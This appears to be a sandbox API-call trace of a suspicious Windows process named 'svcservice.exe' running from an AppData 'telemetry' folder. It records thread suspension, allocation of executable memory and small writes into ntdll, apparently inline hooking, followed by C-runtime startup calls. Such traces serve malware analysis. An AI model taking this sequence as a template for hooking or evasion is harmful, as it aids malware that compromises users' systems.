[0211.088] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.089] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.090] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.091] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.091] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.092] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.093] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.094] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.095] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.096] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.096] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.097] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.098] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.098] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.099] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.100] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.100] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.101] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.102] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.102] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.103] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.103] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.104] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.105] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.105] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.106] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.107] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.108] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.109] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.305] OpenThread (dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0x798) returned 0x174
[0211.306] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x4) returned 0xed0988
[0211.307] CloseHandle (hObject=0x170) returned 1
[0211.311] SuspendThread (hThread=0x174) returned 0x0
[0211.323] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0xc) returned 0xed0998
[0211.323] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0xa) returned 0xed09b0
[0211.324] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77ac0000
[0211.325] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0xc) returned 0xed09c8
[0211.325] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x17) returned 0xed09e0
[0211.338] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x10) returned 0xed0a00
[0211.338] GetSystemInfo (in: lpSystemInfo=0x18dd08 | out: lpSystemInfo=0x18dd08*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06))
[0211.338] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x660000
[0211.339] GetCurrentProcess () returned 0xffffffff
[0211.341] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x660005, lpBuffer=0x18dcec*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18dcec*, lpNumberOfBytesWritten=0x0) returned 1
[0211.351] GetCurrentProcess () returned 0xffffffff
[0211.351] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x66000f, lpBuffer=0x18dd2c*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18dd2c*, lpNumberOfBytesWritten=0x0) returned 1
[0211.351] GetCurrentProcess () returned 0xffffffff
[0211.351] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77b371a0, lpBuffer=0x18dcec*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18dcec*, lpNumberOfBytesWritten=0x0) returned 1
[0211.354] GetCurrentProcess () returned 0xffffffff
[0211.355] VirtualProtect (in: lpAddress=0x660000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x18dd34 | out: lpflOldProtect=0x18dd34*=0x40) returned 1
[0211.356] GetCurrentProcess () returned 0xffffffff
[0211.356] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x4) returned 0xed0a18
[0211.359] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0xc) returned 0xed0a28
[0211.359] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x13) returned 0xed0a40
[0211.369] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x10) returned 0xed0a60
[0211.370] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x670000
[0211.373] GetCurrentProcess () returned 0xffffffff
[0211.373] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x670007, lpBuffer=0x18dcec*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18dcec*, lpNumberOfBytesWritten=0x0) returned 1
[0211.373] GetCurrentProcess () returned 0xffffffff
[0211.374] GetCurrentProcess () returned 0xffffffff
[0211.375] GetCurrentProcess () returned 0xffffffff
[0211.375] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x670013, lpBuffer=0x18dd2c*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18dd2c*, lpNumberOfBytesWritten=0x0) returned 1
[0211.375] GetCurrentProcess () returned 0xffffffff
[0211.376] GetCurrentProcess () returned 0xffffffff
[0211.377] GetCurrentProcess () returned 0xffffffff
[0211.377] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77b6a1e0, lpBuffer=0x18dcec*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18dcec*, lpNumberOfBytesWritten=0x0) returned 1
[0211.377] GetCurrentProcess () returned 0xffffffff
[0211.378] GetCurrentProcess () returned 0xffffffff
[0211.379] VirtualProtect (in: lpAddress=0x670000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x18dd34 | out: lpflOldProtect=0x18dd34*=0x40) returned 1
[0211.379] GetCurrentProcess () returned 0xffffffff
[0211.380] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x8) returned 0xed0a78
[0211.380] HeapFree (in: hHeap=0xed0000, dwFlags=0x0, lpMem=0xed0a18 | out: hHeap=0xed0000) returned 1
[0211.381] ResumeThread (hThread=0x174) returned 0x1
[0211.381] CloseHandle (hObject=0x174) returned 1
[0211.381] HeapFree (in: hHeap=0xed0000, dwFlags=0x0, lpMem=0xed0988 | out: hHeap=0xed0000) returned 1
[0211.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x121c000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x20, OldAccessProtection=0x18f81c | out: BaseAddress=0x18f204*=0x121c000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f81c*=0x40) returned 0x0
[0211.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x11e1000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x20, OldAccessProtection=0x18f81c | out: BaseAddress=0x18f204*=0x11e1000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f81c*=0x40) returned 0x0
[0211.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x120b000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x2, OldAccessProtection=0x18f81c | out: BaseAddress=0x18f204*=0x120b000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f81c*=0x4) returned 0x0
[0211.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x1241000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x4, OldAccessProtection=0x18f81c | out: BaseAddress=0x18f204*=0x1241000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f81c*=0x20) returned 0x0
[0211.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x1ccd000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x2, OldAccessProtection=0x18f81c | out: BaseAddress=0x18f204*=0x1ccd000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f81c*=0x8) returned 0x0
[0211.408] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0211.408] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x768b0000
[0211.408] GetProcAddress (hModule=0x768b0000, lpProcName="InitializeCriticalSectionEx") returned 0x7696d740
[0211.409] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x768b0000
[0211.409] GetProcAddress (hModule=0x768b0000, lpProcName="FlsAlloc") returned 0x76974490
[0211.409] GetProcAddress (hModule=0x768b0000, lpProcName="FlsSetValue") returned 0x7696d7a0
[0211.409] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x768b0000
[0211.409] GetProcAddress (hModule=0x768b0000, lpProcName="InitializeCriticalSectionEx") returned 0x7696d740
[0211.410] GetProcessHeap () returned 0x6a0000
[0211.410] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x768b0000
[0211.410] GetProcAddress (hModule=0x768b0000, lpProcName="FlsAlloc") returned 0x76974490
[0211.410] GetLastError () returned 0x12
[0211.410] GetProcAddress (hModule=0x768b0000, lpProcName="FlsGetValue") returned 0x7695f350
[0211.410] GetProcAddress (hModule=0x768b0000, lpProcName="FlsSetValue") returned 0x7696d7a0
[0211.410] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x364) returned 0x6b8f38
[0211.410] SetLastError (dwErrCode=0x12)
[0211.410] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xe00) returned 0x6bb740
[0211.412] GetStartupInfoW (in: lpStartupInfo=0x18f960 | out: lpStartupInfo=0x18f960*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x11f1940, hStdOutput=0xa1fb7263, hStdError=0xfffffffe))
[0211.412] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0211.412] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0211.412] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0211.412] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe\" "
[0211.412] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe\" "
[0211.412] GetACP () returned 0x4e4
[0211.412] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x220) returned 0x6b7ed8
[0211.412] IsValidCodePage (CodePage=0x4e4) returned 1
[0211.412] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f758 | out: lpCPInfo=0x18f758) returned 1
[0211.412] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f01c | out: lpCPInfo=0x18f01c) returned 1
[0211.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f630, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0211.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f630, cbMultiByte=256, lpWideCharStr=0x18edb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿğĀ") returned 256
[0211.412] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿğĀ", cchSrc=256, lpCharType=0x18f030 | out: lpCharType=0x18f030) returned 1
[0211.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f630, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0211.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f630, cbMultiByte=256, lpWideCharStr=0x18ed68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
[0211.412] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x768b0000
[0211.412] GetProcAddress (hModule=0x768b0000, lpProcName="LCMapStringEx") returned 0x769595f0
[0211.412] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0211.412] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x18eb58, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
[0211.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f530, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ?\x15 p÷\x18", lpUsedDefaultChar=0x0) returned 256
[0211.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f630, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0211.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f630, cbMultiByte=256, lpWideCharStr=0x18ed88, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿğĀ") returned 256
[0211.413] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿğĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0211.413] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿğĀ", cchSrc=256, lpDestStr=0x18eb78, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256
[0211.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f430, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ?\x15 p÷\x18", lpUsedDefaultChar=0x0) returned 256
